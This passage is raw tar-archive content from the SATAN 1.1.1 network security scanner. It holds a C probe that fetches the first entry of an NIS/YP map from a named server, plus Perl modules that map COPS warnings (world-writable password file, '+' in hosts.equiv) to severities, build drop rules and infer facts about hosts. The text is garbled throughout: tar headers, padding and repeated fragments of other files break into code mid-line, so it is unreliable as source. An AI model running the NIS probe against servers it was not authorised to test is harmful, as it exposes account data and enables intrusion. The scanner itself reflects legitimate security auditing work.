  22158. #define  INADDR_NONE     (-1)../* XXX should be 0xffffffff */
  22159. #endif
  22160.  
  22161. extern int getopt();
  22162. extern int optind;
  22163. extern char *optarg;
  22164.  
  22165. #include "yp.h"
  22166.  
  22167. static struct timeval timeout = {5, 0};
  22168. static int verbose = 0;
  22169. static char *progname;
  22170.  
  22171. #define debug if (verbose) printf
  22172.  
  22173. static void usage()
  22174. {
  22175.     fprintf(stderr, "usage: %s domain map server\n", progname);
  22176.     exit(0);
  22177. }
  22178.  
  22179. /* perrorexit - print error and exit */
  22180.  
  22181. static void perrorexit(text)
  22182. char   *text;
  22183. {
  22184.     perror(text);
  22185.     exit(1);
  22186. }
  22187.  
  22188. /* make_tcp_client - create client handle to talk to rpc server */
  22189.  
  22190. static CLIENT *make_tcp_client(addr, program, version)
  22191. struct sockaddr_in *addr;
  22192. u_long  program;
  22193. u_long  version;
  22194. {
  22195.     int     sock;
  22196.  
  22197.     debug("Trying to set up TCP client handle\n");
  22198.     addr->sin_port = 0;
  22199.     sock = RPC_ANYSOCK;
  22200.     return (clnttcp_create(addr, program, version, &sock, 0, 0));
  22201. }
  22202.  
  22203. /* make_udp_client - create client handle to talk to rpc server */
  22204.  
  22205. static CLIENT *make_udp_client(addr, program, version)
  22206. struct sockaddr_in *addr;
  22207. u_long  program;
  22208. u_long  version;
  22209. {
  22210.     int     sock;
  22211.  
  22212.     debug("Trying to set up UDP client handle\n");
  22213.     addr->sin_port = 0;
  22214.     sock = RPC_ANYSOCK;
  22215.     return (clntudp_create(addr, program, version, timeout, &sock));
  22216. }
  22217.  
  22218. /* find_host - look up host information */
  22219.  
  22220. static int find_host(sin, host)
  22221. char   *host;
  22222. struct sockaddr_in *sin;
  22223. {
  22224.     struct hostent *hp;
  22225.  
  22226.     /*
  22227.      * Look up IP address information. XXX with multi-homed hosts, should try
  22228.      * all addresses until we succeed.
  22229.      */
  22230.  
  22231.     memset((char *) sin, 0, sizeof(*sin));
  22232.     sin->sin_family = AF_INET;
  22233.  
  22234.     debug("Looking up host %s\n", host);
  22235.     if ((sin->sin_addr.s_addr = inet_addr(host)) != INADDR_NONE) {
  22236. .return (1);
  22237.     } else if ((hp = gethostbyname(host)) == 0 || hp->h_addrtype != AF_INET) {
  22238. .return (0);
  22239.     } else {
  22240. .memcpy((char *) &sin->sin_addr, hp->h_addr, sizeof(sin->sin_addr));
  22241. .return (1);
  22242.     }
  22243. }
  22244.  
  22245. /* try_map - transfer first map entry */
  22246.  
  22247. static int try_map(client, domain, map)
  22248. CLIENT *client;
  22249. char   *domain;
  22250. char   *map;
  22251. {
  22252.     struct YPreq_nokey nokey;
  22253.     struct YPresp_key_val key_val;
  22254.     char    keybuf[1024];
  22255.     char    valbuf[1024];
  22256.     enum clnt_stat status;
  22257.  
  22258.     nokey.domain = domain;
  22259.     nokey.map = map;
  22260.  
  22261.     key_val.key.keydat_val = keybuf;
  22262.     key_val.key.keydat_len = sizeof(keybuf);
  22263.     key_val.val.valdat_val = valbuf;
  22264.     key_val.val.valdat_len = sizeof(valbuf);
  22265.  
  22266.     /*
  22267.      * Look up the first entry. Sending the call may fail.
  22268.      */
  22269.     debug("Trying: %s %s\n", domain, map);
  22270.     if ((status = clnt_call(client, YPPROC_FIRST, xdr_YPreq_nokey,
  22271. ...    (char *) &nokey, xdr_YPresp_key_val,
  22272. ...    (char *) &key_val, timeout)) != RPC_SUCCESS) {
  22273. .clnt_perrno(status);
  22274. .return (0);
  22275.     }
  22276.  
  22277.     /*
  22278.      * The call itself may fail (wrong domain or map).
  22279.      */
  22280.     if (key_val.stat != YP_TRUE) {
  22281. .fprintf(stderr, "%s: domain %s map %s: failed\n",
  22282. ..progname, domain, map);
  22283. .exit(1);
  22284.     }
  22285.  
  22286.     /*
  22287.      * Show just one entry as proof.
  22288.      */
  22289.     printf("%.*s\n", key_val.key.keydat_len, key_val.key.keydat_val);
  22290.     return (1);
  22291. }
  22292.  
  22293. main(argc, argv)
  22294. int     argc;
  22295. char  **argv;
  22296. {
  22297.     struct sockaddr_in sin;
  22298.     CLIENT *client;
  22299.     char   *domain;
  22300.     char   *map;
  22301.     char   *host;
  22302.     int     success = 0;
  22303.     int     opt;
  22304.  
  22305.     progname = argv[0];
  22306.  
  22307.     /*
  22308.      * Parse JCL.
  22309.      */
  22310.     while ((opt = getopt(argc, argv, "vt:")) != EOF) {
  22311. .switch (opt) {
  22312. .case 'v':..../* turn on verbose mode */
  22313. .    verbose = 1;
  22314. .    break;
  22315. .case 't':..../* change timeout */
  22316. .    timeout.tv_sec = atoi(optarg);
  22317. .    break;
  22318. .default:
  22319. .    usage();
  22320. .    /* NOTREACHED */
  22321. .}
  22322.     }
  22323.  
  22324.     if (argc != optind + 3)
  22325. .usage();
  22326.     domain = argv[optind];
  22327.     map = argv[optind + 1];
  22328.     host = argv[optind + 2];
  22329.  
  22330.     if (find_host(&sin, host) == 0) {
  22331. .fprintf(stderr, "%s: unknown host: %s\n", progname, host);
  22332. .exit(1);
  22333.     }
  22334.  
  22335.     /*
  22336.      * Now try each transport until we succeed.
  22337.      */
  22338.     if ((client = make_tcp_client(&sin, YPPROG, YPVERS)) == 0
  22339. .|| (success = try_map(client, domain, map)) == 0)
  22340. .if ((client = make_udp_client(&sin, YPPROG, YPVERS)) != 0)
  22341. .    success = try_map(client, domain, map);
  22342.     exit(success == 0);
  22343. }
  22344. */
  22345. ! #define TNULL.INCREF(MOETY)./* pointer to Msatan-1.1.1/perl/...................................................................................   700 .   465 .   506 .          0  5742521562   6554. ........................................................
  22346. .................................................................................................................................................................................................................................................................
  22347. ...........................................satan-1.1.1/perl/config.pl..........................................................................   600 .   465 .   506 .       2757  5742457003  10456. ..........................................................
  22348. .................................................................................................................................................................................................................................................................
  22349. .........................................#
  22350. # rewrite satan.cf after the user changes it.
  22351. #
  22352. # suck in the changes, then just cycle through each line of the .cf file.
  22353. # if there is a match, put the new value in there.
  22354. #
  22355. sub write_config_file {
  22356. local($new_values) = @_;
  22357. local(%new_values, $variable, $old_variable, $old_value);
  22358.  
  22359. #
  22360. # split the strings into something easier to handle
  22361. for ( split(/\n/, $new_values) ) {
  22362. .next if !$_;
  22363.  
  22364. .($variable, $value) = split(/=/, $_);
  22365.  
  22366. .# need to stick a dollar sign in front of var
  22367. .$variable = "\$" . "$variable";
  22368. .# and quotes around non-numbers
  22369. .if ($value !~ /^\d+$/) { $value = "\"$value\""; }
  22370.  
  22371. .$new_values{$variable} = $value;
  22372. .}
  22373.  
  22374. #
  22375. # open the config and the scratch file
  22376. #
  22377. die "Can't read $SATAN_CF file!\n" unless open(CF, "$SATAN_CF");
  22378. die "Can't write $SATAN_CF.new file!\n" unless open(CFN, ">$SATAN_CF.new");
  22379.  
  22380. while (<CF>) {
  22381. .# punt if the going gets too tough...
  22382. .if (!/^\$/) {
  22383. ..print CFN $_;
  22384. ..next;
  22385. ..}
  22386. .
  22387. .chop;
  22388. .($old_variable, $old_value) = split(/=\s+/, $_);
  22389.  
  22390. .# kill spaces and semicolons
  22391. .$old_variable =~ s/\s//g;
  22392. .$old_value =~ s/;//g;
  22393.  
  22394. .# suck in the lines, compare them to each of the vars gotten from user
  22395. .for $variable (keys %new_values) {
  22396. ..if ($variable eq $old_variable) {
  22397. ...$old_value = $new_values{$variable};
  22398. ...}
  22399. ..}
  22400.  
  22401. .print "CF: $_ ($old_variable, $old_value)\n";
  22402. .print CFN "$old_variable = $old_value;\n";
  22403. .}
  22404.  
  22405. close(CF);
  22406. close(CFN);
  22407.  
  22408. # move the evidence to where it belongs... old to .old, new to .cf:
  22409. system("mv $SATAN_CF $SATAN_CF.old");
  22410. system("mv $SATAN_CF.new $SATAN_CF");
  22411.  
  22412. }
  22413.  
  22414. 1;
  22415. g up host %s\n", satan-1.1.1/perl/cops2satan.pl......................................................................   700 .   465 .   506 .      12672  5742457003  11304. ....................................................................................
  22416. .................................................................................................................................................................................................................................................................
  22417. ...............#!/usr/local/bin/perl5
  22418. #
  22419. #  An experimental script that will Convert a COPS warning report
  22420. # into SATAN rules.  Take stdin or a filename.  Uses the function
  22421. # "satan_print" to emit SATAN rules.
  22422. #
  22423.  
  22424. require "perl/hostname.pl";
  22425. require "perl/misc.pl";
  22426.  
  22427. # we're the target... nothing remote here
  22428. $target = &hostname();
  22429.  
  22430. #
  22431. # default value for satan_print(); everything we report is "available"
  22432. $status = "a";
  22433.  
  22434. # most things only affect users on the machine
  22435. $trusted = "ANY@$target";
  22436.  
  22437. # most things will be blank here, at least on my first shot at this...
  22438. $service_ouput = "";
  22439.  
  22440. # ok, process everything now:
  22441. while (<>) {
  22442.  
  22443. .# chow down on blank lines
  22444. .if ($_ =~ /^\s*$/) { next; }
  22445.  
  22446. .# top three lines look like:
  22447. .#
  22448. .# ATTENTION
  22449. .# Security Report for...
  22450. .# from host ...
  22451. .if ($_ =~ /from host/) { $start_processing = 1; next; }
  22452. .if (!$start_processing) { next; }
  22453.  
  22454. .# get the service, if possible -- 
  22455. .# assumes all checks print out something like:
  22456. .# "**** foo.chk ****"
  22457. .# when the verbose flag is true
  22458. .if ($_ =~ /^\*\*\*\*/) {
  22459. ..($service) = ($_ =~ /\*\*\*\* (\S+) /);
  22460. ..next;
  22461. ..}
  22462. .
  22463. .#  IMPORTANT - exception list!
  22464. .#
  22465. .#  Be very careful of regular expressions and other meta stuff...
  22466. .# ()'s, *'s, ?'s, /'s, etc. are all trouble.  Backquote if in doubt.
  22467. .#
  22468. .#  Sample list:
  22469. .#
  22470. .#  Hassled by mail warning?
  22471. .# next if (m@Warning!  /usr/spool/mail is _World_ writable!@);
  22472. .#
  22473. .#  Running an NIS-free machine but in an NIS environment?
  22474. .#  next if (/YG/);
  22475. .#  next if (/YP/);
  22476.  
  22477. .# if it doesn't start with "Warning!", then nuke the second
  22478. .# line; it's a multipart print
  22479. .next unless ($_ =~ /^Warning!/);
  22480. .
  22481. .#
  22482. .# START THE CHECKING
  22483. .#
  22484. .# level 0 checks -- the most serious
  22485. .#
  22486. .if ($_ =~ /A "+" entry in/) {
  22487. ..$severity = "us";
  22488. ..$trusted = "ANY@ANY";
  22489. ..$trustee = "ANY@$target";
  22490. ..$text = "+ in /etc/hosts.equiv file";
  22491. ..}
  22492. ..
  22493. .# Assume bugs are all bad -- some bugs are remote; need to
  22494. .# change this to recognize them...
  22495. .elsif (m@ould have a hole/bug@) {
  22496. ..$severity = "rs";
  22497. ..$trusted = "ANY@$target";
  22498. ..$trustee = "root@$target";
  22499. ..$text = "serious bug";
  22500. ..}
  22501.  
  22502. .# kuang telling us we're in deep yoghurt, or something like that...
  22503. .elsif ($_ =~ /DO ANYTHING/) {
  22504. ..$severity = "rs";
  22505. ..$trusted = "ANY@$target";
  22506. ..$trustee = "root@$target";
  22507. ..$text = "kuang found a path to compromise root";
  22508. ..}
  22509.  
  22510. .# writable password file really sucks:
  22511. .elsif ($_ =~ /\/etc\/passwd.*_World_/) {
  22512. ..$severity = "rs";
  22513. ..$trusted = "ANY@$target";
  22514. ..$trustee = "root@$target";
  22515. ..$text = "world-writable password file";
  22516. ..}
  22517.  
  22518. .# this is easy root most of the time...
  22519. .elsif ($_ =~ /Directory.*is _World_ writable and in roots path!/) {
  22520. ..$severity = "rs";
  22521. ..$trusted = "ANY@$target";
  22522. ..$trustee = "root@$target";
  22523. ..$text = "world-writable file in root's path";
  22524. ..}
  22525.  
  22526. .# level 1 checks:
  22527. .#
  22528. .elsif ($_ =~ /uudecode is suid!/) {
  22529. ..$severity = "uw";.# cops should tell us *what* user, eh?
  22530. ..$trusted = "ANY@$target";
  22531. ..$trustee = "user@$target";
  22532. ..$text = "uudecode is suid";
  22533. ..}
  22534. .elsif ($_ =~ /rexd is enabled in/) {
  22535. ..$severity = "us";
  22536. ..$trusted = "ANY@ANY";
  22537. ..$trustee = "user@$target";
  22538. ..$text = "rexd is enabled";
  22539. ..}
  22540. .elsif ($_ =~ /User.*mode/ && $_ !~ /is not a directory/) {
  22541. ..$severity = "us";
  22542. ..$trusted = "ANY@$target";
  22543. ..$trustee = "user@$target";
  22544. ..$text = "User home directory or startup file is writable";
  22545. ..}
  22546. .elsif ($_ =~ /tftp is enabled on/) {
  22547. ..$severity="nr";
  22548. ..$trustee="nobody@$target";
  22549. ..$trusted="ANY@ANY";
  22550. ..$text="tftp is enabled";
  22551. ..$text = "tftp is enabled on";
  22552. ..&satan_print();
  22553. ..# (OUTPUT TWICE)
  22554. ..$severity="nw";
  22555. ..$trustee="nobody@$target";
  22556. ..$trusted="ANY@ANY";
  22557. ..$text = "tftp is enabled on";
  22558. ..}
  22559. .elsif ($_ =~ /uudecode is enabled in/) {
  22560. ..$severity = "nw";
  22561. ..$trustee="nobody@$target";
  22562. ..$trusted="ANY@ANY";
  22563. ..$text = "uudecode is enabled in/";
  22564. ..}
  22565. .# unclear what ramifications are...
  22566. .# /Password file, line.*is blank/
  22567. .# /Password file, line.*nonnumeric user id:/
  22568. .elsif ($_ =~ /(in cron_file) is World writable!/) {
  22569. ..$severity = "root";
  22570. ..$trusted = "ANY@$target";
  22571. ..$trustee = "root@$target";
  22572. ..$status = "q"; # who knows if it really matters?
  22573. ..$text = "File in cron_file is world writable";
  22574. ..}
  22575. .elsif ($_ =~ /File.*(inside root executed file) is _World_ writable!/) {
  22576. ..$severity = "root";
  22577. ..$trusted = "ANY@$target";
  22578. ..$trustee = "root@$target";
  22579. ..$status = "q"; # who knows if it really matters?
  22580. ..$text = "File inside root executed file is _World_ writable!";
  22581. ..}
  22582. .elsif ($_ =~ /File.*(in .*) is _World_ writable!/) {
  22583. ..$severity = "user";
  22584. ..$trusted = "ANY@$target";
  22585. ..$trustee = "root@$target";
  22586. ..$status = "q"; # who knows if it really matters?
  22587. ..$text = "File inside important command is _World_ writable!";
  22588. ..}
  22589. .# this assumes anon-ftp is actually on!
  22590. .elsif ($_ =~ /ftp's home directory should not be/) {
  22591. ..$severity = "nw";
  22592. ..$trusted = "ANY@ANY";
  22593. ..$trustee = "nobody@$target";
  22594. ..$text = "ftp's home directory is /";
  22595. ..&satan_print();
  22596. ..# (OUTPUT TWICE)
  22597. ..$severity = "nr";
  22598. ..$trusted = "ANY@ANY";
  22599. ..$trustee = "nobody@$target";
  22600. ..$text = "ftp's home directory is /";
  22601. ..}
  22602. .# this gives away password file; what do we do?
  22603. .# elsif (/and.*ass.*are the same/)
  22604. .# $text = "system password file and ~ftp/etc/passwd are the same";
  22605.  
  22606. .# unclear of ramifications; could be very bad or ok
  22607. .# elsif (/should be mode 555/)
  22608.  
  22609. .# rhosts entry in ftp...
  22610. .# elsif (/should be be empty/)
  22611. .
  22612. .#  PRINT *SOMETHING* if can't find anything... give it no
  22613. .# severity so it won't get counted...
  22614. .else  {
  22615. ..$severity = "";
  22616. ..$trusted = "";
  22617. ..$trustee = "";
  22618. ..$status = "a";
  22619. ..($text) = /Warning!\s+(.+)$/;
  22620. ..# $text = "Unknown warning!";
  22621. ..}
  22622.  
  22623.  
  22624. .&satan_print();
  22625. .}
  22626.  
  22627. );
  22628.  
  22629. .# if it doesn't start with "Warning!", then nuke the second
  22630. .# lisatan-1.1.1/perl/domains.pl.........................................................................   600 .   465 .   506 .       4530  5742457003  10632. ................................................................................................
  22631. .................................................................................................................................................................................................................................................................
  22632. ...#
  22633. # sift by domains
  22634. #
  22635. # Output to: 
  22636. #
  22637. # $all_domains{domain}: hosts in this domain
  22638. #
  22639. # host_domain{host}: the domain of this host
  22640. #
  22641. # $domain_count{domain}: number of hosts in this domain
  22642. #
  22643. # $domain_severities{domain}: nr of vulnerable hosts in domain
  22644. #
  22645. # $domain_flag: reset whenever the tables are updated. To recalculate,
  22646. # invoke make_domain_info().
  22647. #
  22648. # Standalone usage: perl domains.pl [data directory]
  22649.  
  22650. #
  22651. # Generate domain statistics.
  22652. #
  22653. sub make_domain_info {
  22654.     local($domain, $host);
  22655.  
  22656.     if ($domain_flag > 0) {
  22657. .return;
  22658.     }
  22659.     $domain_flag = time();
  22660.  
  22661.     print "Rebuild domain type statistics...\n" if $debug;
  22662.  
  22663.     %all_domains = ();
  22664.     for $host (keys %all_hosts) {
  22665. .if ($host =~ /^[\[\]0-9.]+$/) {
  22666. .    $domain = "unknown";
  22667. .} else {
  22668. .    ($domain = $host) =~ s/^[^.]+\.//;
  22669. .}
  22670. .$all_domains{$domain} .= "$host ";
  22671. .$host_domain{$host} = $domain;
  22672.     }
  22673.  
  22674.     # Cheat, in case the facts file has names not in all-hosts.
  22675.  
  22676.     for $host (keys %hosttype, keys %severity_host_count) {
  22677. .if ($host =~ /^[0-9.]+$/) {
  22678. .    $domain = "unknown";
  22679. .} else {
  22680. .    ($domain = $host) =~ s/^[^.]+\.//;
  22681. .}
  22682. .if (!exists($host_domain{$host})) {
  22683. .    $all_domains{$domain} .= "$host ";
  22684. .    $host_domain{$host} = $domain;
  22685. .}
  22686.     }
  22687.  
  22688.     for $domain (keys %all_domains) {
  22689. .$domain_count{$domain} = split(/\s+/, $all_domains{$domain});
  22690. .$domain_severities{$domain} = 0;
  22691. .for $host (split(/\s+/, $all_domains{$domain})) {
  22692. .    $domain_severities{$domain}++ if exists($severity_host_type_info{$host});
  22693. .}
  22694.     }
  22695. }
  22696.  
  22697. #
  22698. # erase the domain info tables
  22699. #
  22700. sub clear_domain_info {
  22701.     %all_domains = ();
  22702.     %host_domain = ();
  22703.     %domain_count = ();
  22704.     %domain_severities = ();
  22705.     $domain_flag = 0;
  22706. }
  22707.  
  22708. #
  22709. # Stand-alone mode
  22710. #
  22711. if ($running_under_satan == 0) {
  22712.     warn "domains.pl in stand-alone mode...";
  22713.     $running_under_satan = 1;
  22714.     $debug = 1;
  22715.     require 'perl/targets.pl';
  22716.     require 'perl/severities.pl';
  22717.     require 'perl/facts.pl';
  22718.  
  22719.     &read_all_hosts("$ARGV[0]/all-hosts");
  22720.     &read_facts("$ARGV[0]/facts");
  22721.     &make_domain_info();
  22722.     &make_hosttype_info();
  22723.  
  22724.     print "Missing domain info\n";
  22725.  
  22726.     for (keys %hosttype) {
  22727. .print "\t$_\n" if !exists($host_domain{$_});
  22728.     }
  22729.  
  22730.     print "\nDomain info\n";
  22731.  
  22732.     for (keys %all_domains) {
  22733. .    print "Domain: $_ $domain_severities{$_}/$domain_count{$_}\n";
  22734. .    for (split(/\s/, $all_domains{$_})) {
  22735. ..    print "\t$_\n";
  22736. .    }
  22737.     }
  22738. }
  22739.  
  22740. 1;
  22741. abled";
  22742. ..$text = "tftp is enabled on";
  22743. ..&satan_print();
  22744. ..# (OUTPUT TWICE)
  22745. ..$severity="nw";
  22746. ..$trustee="nobody@$target";
  22747. ..$trusted="ANY@ANY";
  22748. ..$text = "tftp is enasatan-1.1.1/perl/drop_fact.pl.......................................................................   600 .   465 .   506 .       2724  5742457003  11144. ...............................................................................
  22749. .................................................................................................................................................................................................................................................................
  22750. ....................#
  22751. # Usage: $code = &drop_fact()
  22752. # Applies the rules in $drop_fact_files to the global $target..$text 
  22753. # variables. The result value is nonzero if the record should be ignored.
  22754. # Standalone usage: perl drop_fact.pl [satan_record_files...]
  22755.  
  22756. $drop_fact_files = "rules/drop";
  22757.  
  22758. sub build_drop_fact{
  22759.     local($files) = @_;
  22760.     local($code);
  22761.  
  22762.     $code = "sub drop_fact {\n";
  22763.  
  22764.     foreach $file (split(/\s+/, $files)) {
  22765. .open(RULES, $file) || die "cannot open $file: $!";
  22766. .while (<RULES>) {
  22767. .    chop;
  22768. .    while (/\\$/) {
  22769. ..chop;
  22770. ..$_ .= <RULES>;
  22771. ..chop;
  22772. .    }
  22773. .    s/#.*$//;
  22774. .    next if /^\s*$/;
  22775. .    s/@/\\@/g;
  22776. .    $code .= "\tif ($_) {\n\t\treturn 1;\n\t}\n";
  22777. .}
  22778. .close(RULES);
  22779.     }
  22780.     $code .= "\treturn 0;\n}\n";
  22781.     return $code;
  22782. }
  22783.  
  22784. #
  22785. # Some scaffolding for stand-alone operation
  22786. #
  22787. if ($running_under_satan) {
  22788.     eval &build_drop_fact($drop_fact_files);
  22789.     die "error in $drop_fact_files: $@" if $@;
  22790. } else {
  22791.     $running_under_satan = -1;
  22792.  
  22793.     require 'perl/misc.pl';
  22794.  
  22795.     #
  22796.     # Build satan rules and include them into the running code.
  22797.     #
  22798.     $code = &build_drop_fact($drop_fact_files);
  22799.     print "Code generated from $drop_fact_files file:\n\n";
  22800.     print $code;
  22801.     eval $code;
  22802.     die "error in $drop_fact_files: $@" if $@;
  22803.  
  22804.     #
  22805.     # Apply rules.
  22806.     #
  22807.     print "\nApplying rules to all SATAN records...\n";
  22808.     while (<>) {
  22809. .chop;
  22810. .if (&satan_split($_)) {
  22811. .    warn "Ill-formed fact: $_\n";
  22812. .} elsif (&drop_fact()) {
  22813. .    print "Dropped: $_\n";
  22814. .}
  22815.     }
  22816. }
  22817.  
  22818. 1;
  22819. );
  22820. .}
  22821.     }
  22822. }
  22823.  
  22824. #
  22825. # erase the domain info tabsatan-1.1.1/perl/facts.pl...........................................................................   600 .   465 .   506 .      11024  5742457003  10314. ..........................................................................
  22826. .................................................................................................................................................................................................................................................................
  22827. .........................#
  22828. # add_fact($record) add one record to the new facts list.
  22829. #
  22830. # process_facts() iterates over all new facts and generates new facts or
  22831. # new todo items. It keeps looping until the new facts list becomes empty.
  22832. #
  22833. # save_facts($path) saves the old facts to the named file.
  22834. #
  22835. # read_facts($path) reads the old facts from the named file.
  22836. #
  22837. # merge_facts($path) merge with i-core tables.
  22838. #
  22839. # redo_old_facts() re-applies the todo/fact rules in case the probe
  22840. # level or rule base have changed (or we would never see any effect
  22841. # of changing todo/fact rules with already collected data).
  22842. #
  22843. # drop_old_facts() forgets all old facts we have about a host.
  22844. #
  22845. # Warning: all facts processing that invokes inference engines MUST set $_.
  22846. #
  22847. # version 1, Sun Mar 19  9:48:44 1995, last mod by zen
  22848. #
  22849.  
  22850. #
  22851. # Add one fact to the new facts list, with duplicate suppression.
  22852. #
  22853. sub add_fact {
  22854. .local($fact) = @_;
  22855.  
  22856. .if (!exists($old_facts{$fact}) && !&drop_fact($fact) && !exists($new_facts{$fact})) { 
  22857. ..$new_facts{$fact} = 1;
  22858. ..print "Add-fact: $fact\n" if $debug;
  22859. .}
  22860. }
  22861.  
  22862. #
  22863. # Iterate over the new facts list until nothing new shows up.
  22864. #
  22865. sub process_facts {
  22866. .local(%temp_facts);
  22867.  
  22868. .while(&sizeof(*new_facts) > 0) {
  22869. ..%temp_facts = %new_facts;
  22870. ..%new_facts = ();
  22871. ..for (keys %temp_facts) {
  22872. ...if (&satan_split($_)) {
  22873. ....warn "Ill-formatted fact: $_\n";
  22874. ....next;
  22875. ...}
  22876. ...$old_facts{$_} = 1;
  22877. ...if ($status ne "u") {
  22878. ....#
  22879. ....# Stage 1: update the per-host tables. 
  22880. ....#
  22881. ....&infer_hosttype($_);
  22882. ....&infer_services($_);
  22883. ....&update_severities($_);
  22884. ....&update_trust($_);
  22885.  
  22886. ....#
  22887. ....# Stage 2: generate new probes and derive
  22888. ....# new facts, using all information that
  22889. ....# has been collected sofar.  Derive new
  22890. ....# targets from trust relationships
  22891. ....# (ignore localhost).
  22892. ....#
  22893. ....&infer_todo($_);
  22894. ....&infer_facts($_);
  22895. ....if (($trusted =~ /([^@]+)$/) && ($1 ne "ANY")
  22896. ....    && ($1 !~ /^localhost\.?/i)) {
  22897. .....&new_target(&fix_hostname($1, $target),
  22898. ......&get_proximity($target) + 1);
  22899. ....}
  22900. ...}
  22901. ..}
  22902. .}
  22903. }
  22904.  
  22905. #
  22906. # Save facts to named file.
  22907. #
  22908. sub save_facts {
  22909. .local($path) = @_;
  22910.  
  22911. .open(FACTS, ">$path") || die "cannot save facts to $path: $!";
  22912. .for (keys %old_facts) {
  22913. ..print FACTS "$_\n";
  22914. .}
  22915. .close(FACTS);
  22916. }
  22917.  
  22918. #
  22919. # Reset facts tables and derivatives
  22920. #
  22921. sub clear_facts {
  22922. .%old_facts = ();
  22923. .%new_facts = ();
  22924. .&clear_hosttype_info();
  22925. .&clear_service_info();
  22926. .&clear_severity_info();
  22927. .&clear_trust_info();
  22928. }
  22929.  
  22930. #
  22931. # Load facts from named file.
  22932. #
  22933. sub read_facts {
  22934. .local($path) = @_;
  22935.  
  22936. .&clear_facts();
  22937. .&merge_facts($path);
  22938. }
  22939.  
  22940. #
  22941. # Merge facts with in-core tables.
  22942. #
  22943. sub merge_facts {
  22944. .local($path) = @_;
  22945.  
  22946. .open(FACTS, $path) || die "Cannot read facts file $path: $!";
  22947. .print "Reading facts from $path...\n" if $debug;
  22948. .while (<FACTS>) {
  22949. ..chop;
  22950. ..if (!exists($old_facts{$_})) {
  22951. ...if (&satan_split($_)) {
  22952. ....warn "Warning - corrupted $path record: $_\n";
  22953. ....next;
  22954. ...}
  22955. ...$old_facts{$_} = 1;
  22956. ...if ($status ne "u") {
  22957. ....&infer_hosttype($_);
  22958. ....&infer_services($_);
  22959. ....&update_severities($_);
  22960. ....&update_trust($_);
  22961. ....&infer_facts($_);
  22962. ...}
  22963. ..}
  22964. .}
  22965. .&process_facts();
  22966. .close(FACTS);
  22967. }
  22968.  
  22969. #
  22970. # Forget all old facts we have on a specific host.
  22971. #
  22972. sub drop_old_facts {
  22973. .local($host) = @_;
  22974. .local($fact, $target);
  22975.  
  22976. .for $fact (keys %old_facts) {
  22977. ..($target) = split(/\|/, $fact);
  22978. ..if ($target eq $host) {
  22979. ...print "Deleting: $fact\n" if $debug;
  22980. ...delete $old_facts{$fact};
  22981. ..}
  22982. .}
  22983. }
  22984.  
  22985. #
  22986. # Re-apply todo/fact rules in case attack level or rule base has changed.
  22987. #
  22988. sub redo_old_facts {
  22989.  
  22990. .for (keys %old_facts) {
  22991. ..&satan_split($_);
  22992. ..&infer_todo($_);
  22993. ..&infer_facts($_);
  22994. .}
  22995. .&process_facts();
  22996. }
  22997.  
  22998. #
  22999. # Some scaffolding code for stand-alone testing.
  23000. #
  23001. if ($running_under_satan) {
  23002. .require 'perl/misc.pl';
  23003. .require 'perl/fix_hostname.pl';
  23004. .require 'perl/infer_todo.pl';
  23005. .require 'perl/infer_facts.pl';
  23006. .require 'perl/drop_fact.pl';
  23007. .require 'perl/hosttype.pl';
  23008. .require 'perl/services.pl';
  23009. .require 'perl/severities.pl';
  23010. .require 'perl/trust.pl';
  23011. } else {
  23012. .$running_under_satan = -1;
  23013. .$debug = 1;
  23014.  
  23015. .require 'perl/misc.pl';
  23016. .require 'perl/fix_hostname.pl';
  23017. .require 'perl/infer_todo.pl';
  23018. .require 'perl/infer_facts.pl';
  23019. .require 'perl/drop_fact.pl';
  23020. .require 'perl/hosttype.pl';
  23021. .require 'perl/services.pl';
  23022. .require 'perl/severities.pl';
  23023. .require 'perl/trust.pl';
  23024.  
  23025. .warn "facts.pl running in stand-alone mode\n";
  23026.  
  23027. .eval "sub add_todo { local(\$target,\$tool,\$args) = \@_;
  23028. ..print \"add_todo: \$target,\$tool,\$args\\n\"; }\n";
  23029. .eval "sub new_target { local(\$new,\$old) = \@_;
  23030. ..print \"new_target: \$new,\$old\\n\"; }\n";
  23031. .print "Adding new facts...\n";
  23032. .while (<>) {
  23033. ..chop;
  23034. ..&add_fact($_);
  23035. .}
  23036.  
  23037. .print "Processing new facts...\n";
  23038. .&process_facts();
  23039. }
  23040.  
  23041. 1;
  23042.  ($_ =~ /uudecode is enabled in/) {
  23043. ..$severity = "nw";
  23044. ..$trustee="nobody@$target";
  23045. ..$trusted="ANY@ANY";
  23046. ..$text = "uudecode is enabled in/";
  23047. ..}
  23048. .# unclear what ramifications are...
  23049. .# /Password file, line.*is blank/
  23050. .# /Password file, line.*nonnumeric user id:/
  23051. .elsif ($_ =~ /(in cron_file) is World writable!/) {
  23052. ..$severity = "root";
  23053. ..$trusted = "ANY@$target";
  23054. ..$trustee = "root@$target";
  23055. ..$status = "q"; # who knows if it really matters?
  23056. ..$text = "File in cron_file is world writasatan-1.1.1/perl/fix_hostname.pl....................................................................   600 .   465 .   506 .       3721  5742457003  11665. ..........................................................
  23057. .................................................................................................................................................................................................................................................................
  23058. .........................................# fix possibly unqualified or truncated hostname, given the fqdn of the
  23059. # host that we got the information from.
  23060. #
  23061.  
  23062. sub fix_hostname {
  23063.     local ($host, $origin) = @_;
  23064.     local ($fqdn, $dot, $old, $frag, $n, $trial);
  23065.  
  23066.     # First see if the name (or IP address) is in the DNS.
  23067.     if ($host =~ /\./ && ($frag = &get_host_name(&get_host_addr($host)))) {
  23068. .$host = $frag;
  23069.     }
  23070.  
  23071.     # Can't do anything else for IP addresses.
  23072.     if ($host =~ /^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$/) {
  23073. .return "";
  23074.     }
  23075.  
  23076.     # Can't do hostname completion when the originator is an IP address.
  23077.     if ($origin =~ /^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$/) {
  23078. .return $host;
  23079.     }
  23080.  
  23081.     # Assume an unqualified name is in the same domain as the originator.
  23082.     # 
  23083.     if (($dot = index($host, ".")) < $[) {
  23084. .return &get_host_name($host . substr($origin, index($origin, ".")));
  23085.     }
  23086.     $old = $dot;
  23087.  
  23088.     # Assume the hostname is trucated.
  23089.     foreach $trial ($origin, ".mil", ".edu", ".gov", ".net", ".org", ".com") {
  23090.         for ($dot = $old; length($frag = substr($host,$dot-$[)) > 1; $dot += $n) {
  23091.             # Match .fragment with (upper domain) of trial domain.
  23092.             if (($n = index($trial, $frag)) >= $[) {
  23093.                 if ($fqdn = &get_host_name(substr($host, $[, $dot - $[) . substr($trial, $n))) {
  23094. ..    return $fqdn;
  23095. ..}
  23096. .    }
  23097.             # Strip lowest .subdomain from .fragment and retry.
